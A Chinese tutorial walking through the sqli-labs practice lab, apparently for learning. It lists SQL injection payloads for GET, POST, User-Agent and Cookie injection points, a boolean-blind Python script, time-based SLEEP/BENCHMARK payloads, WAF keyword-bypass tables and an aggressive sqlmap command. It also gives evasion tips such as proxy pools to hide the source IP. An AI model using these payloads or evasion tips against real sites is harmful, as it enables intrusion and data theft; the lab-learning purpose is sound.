从GET到POST再到Cookie:sqli-labs通关实战中那些‘刁钻’的注入点与绕过技巧
从GET到POST再到Cookie:sqli-labs通关实战中那些‘刁钻’的注入点与绕过技巧
在网络安全领域,SQL注入始终是最具破坏力的漏洞之一。sqli-labs作为经典的SQL注入实战平台,通过模拟各种真实场景,帮助安全研究者深入理解不同请求方式下的注入技巧。本文将带您探索从简单GET参数到复杂HTTP头部的注入艺术,揭示那些容易被忽视的"刁钻"注入点。
1. GET型注入:基础与变种
GET请求是最常见的注入场景,也是大多数安全测试的起点。在sqli-labs的前10关中,开发者精心设计了各种闭合方式的变种,考验测试者对SQL语句构造的理解深度。
1.1 字符型与数字型的快速判别
面对一个未知的注入点,第一步永远是判断注入类型。这里有个实用技巧:
?id=1'--+ # 单引号测试 ?id=1"--+ # 双引号测试 ?id=1'))--+ # 多层闭合测试通过观察页面返回差异,可以快速确定闭合方式。例如在Less-3中,错误提示暴露了括号的存在:
You have an error in your SQL syntax... near ''1'') LIMIT 0,1'1.2 非常规闭合的破解之道
有些关卡会采用混合闭合方式,比如Less-4的双引号加括号:
WHERE id=("输入")此时需要构造:
?id=1")--+关键技巧:当常规注入失败时,尝试以下组合:
- 单引号+括号:
')--+ - 双引号+括号:
")--+ - 多层嵌套:
'))--+或")))--+
2. POST型注入:表单的攻防艺术
从Less-11开始,战场转向POST请求。这种注入方式更隐蔽,但基本原理相通,只是传输方式从URL转向请求体。
2.1 登录框的注入突破
典型登录场景的SQL语句可能是:
SELECT * FROM users WHERE username='$user' AND password='$pass'突破方式是在用户名处构造永真条件:
admin'--或更隐蔽的:
admin' OR '1'='12.2 多参数注入的协同攻击
当存在多个输入框时,可以组合利用:
| 输入位置 | 注入payload | 作用 |
|---|---|---|
| 用户名 | admin'# | 注释掉密码验证 |
| 密码 | 1' OR (SELECT version()) | 利用错误回显获取信息 |
注意:POST注入时注释符可能需要改用#而非--+,这与数据库配置有关
3. HTTP头注入:隐秘的攻击向量
从Less-18开始,注入点转移到HTTP头部,这种场景在真实Web应用中越来越常见。
3.1 User-Agent注入实战
当应用记录客户端UA时,可能构造:
User-Agent: ' OR (SELECT database()) OR 'Burp Suite操作步骤:
- 正常登录获取有效会话
- 在Proxy历史记录中找到后续请求
- 发送到Repeater模块修改UA头
- 观察错误回显或延迟响应
3.2 Cookie注入的精细操作
Cookie注入(Less-20)需要先获取有效凭证,然后篡改存储的cookie值:
Cookie: uname=admin' UNION SELECT 1,@@version,3--绕过技巧:当单引号被过滤时,可以尝试:
- 十六进制编码:
0x61646D696E(admin) - 字符函数:
CHAR(97,100,109,105,110)
4. 盲注的进阶技巧
当页面没有明显回显时,需要采用盲注技术。sqli-labs的Less-5之后关卡大量运用这种防御方式。
4.1 布尔盲注的自动化
基于页面差异的判断可以编写自动化脚本:
import requests def bool_injection(query): url = "http://target.com/Less-8/" for i in range(1,50): payload = f"1' AND ASCII(SUBSTR(({query}),{i},1))>100-- " if "exists" in requests.get(url,params={"id":payload}).text: # 继续二分法判断具体ASCII值 ...4.2 时间盲注的精准控制
当页面无任何差异时,时间注入成为唯一选择。MySQL中典型payload:
1' AND IF(ASCII(SUBSTR(database(),1,1))>100,SLEEP(3),0)--优化技巧:
- 使用
BENCHMARK(10000000,MD5(NOW()))替代SLEEP - 通过响应时间标准差判断真假值
- 结合DNS外带技术加速信息泄露
5. 防御绕过的高级战术
现代WAF会过滤常见关键词,需要创造性绕过。
5.1 等价函数替换
| 被过滤函数 | 替代方案 |
|---|---|
| SELECT | (SELECT)或/!SELECT/ |
| OR | || |
| AND | && |
| = | LIKE,REGEXP,<> |
5.2 编码与注释技巧
- 内联注释:
/*!50000select*/ - 换行符绕过:
SE%0aLECT - Unicode编码:
%u0053%u0045%u004C%u0045%u0043%u0054(SELECT)
6. 工具链的实战配置
合理使用工具能大幅提升效率,以下是推荐的工作流:
- 侦察阶段:Burp Suite抓包分析
- 漏洞验证:sqlmap基础检测
sqlmap -u "http://target.com/Less-1/?id=1" --risk=3 --level=5 - 深度利用:自定义tamper脚本
- 数据提取:结合Python自动化
避坑指南:
- 避免直接使用sqlmap的
--dump-all,可能触发防御 - 高频请求前添加随机延迟
- 敏感操作使用代理池隐藏源IP
7. 从注入到防御的思维转换
理解攻击手段的最终目的是构建更安全的系统。有效的防御策略包括:
- 预编译语句(PreparedStatement)
- 最小权限原则
- 输入白名单验证
- 敏感错误信息过滤
- 定期安全审计
在sqli-labs的闯关过程中,每解决一个难题都让我对Web安全有了更深的理解。特别是在处理Less-17的update注入时,第一次意识到数据修改类SQL注入的破坏力。建议学习者在掌握基础后,尝试修改关卡代码,从开发者角度思考防御方案,这种双向思维训练效果最佳。
